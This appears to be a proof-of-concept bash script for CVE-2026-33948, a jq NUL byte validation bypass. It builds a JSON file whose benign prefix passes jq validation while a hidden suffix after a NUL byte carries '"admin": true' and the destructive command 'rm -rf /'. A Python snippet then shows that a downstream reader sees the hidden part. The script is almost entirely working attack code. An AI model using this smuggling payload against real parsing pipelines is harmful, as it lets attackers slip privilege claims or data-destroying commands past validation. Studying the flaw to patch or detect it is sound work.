CVE-2026-33948 jq NUL字节验证绕过漏洞

#!/bin/bash # PoC for CVE-2026-33948: jq NUL byte validation bypass # 1. Create a payload file with a benign JSON prefix, a NUL byte, and a malicious suffix # \x00 represents the NUL byte echo "Creating payload.json..." printf '{"status": "ok"}\x00{"admin": true, "command": "rm -rf /"}' > payload.json # 2. Use jq to validate the file # jq uses strlen(), so it stops at \0 and validates only the prefix echo "--- Output of jq parsing ---" jq '.' payload.json echo "jq exit code: $?" # 3. Simulate a vulnerable downstream consumer # This consumer reads the raw file content, seeing the data after the NUL byte echo "--- Output of a downstream consumer reading raw bytes ---" xxd payload.json echo "--- Python script simulating downstream processing ---" python3 << 'EOF' with open('payload.json', 'rb') as f: content = f.read() print(f"Total bytes read: {len(content)}") parts = content.split(b'\x00') print(f"Part 1 (seen by jq): {parts[0]}") if len(parts) > 1: print(f"Part 2 (seen by downstream): {parts[1]}") print("Vulnerability confirmed: Downstream sees malicious data.") EOF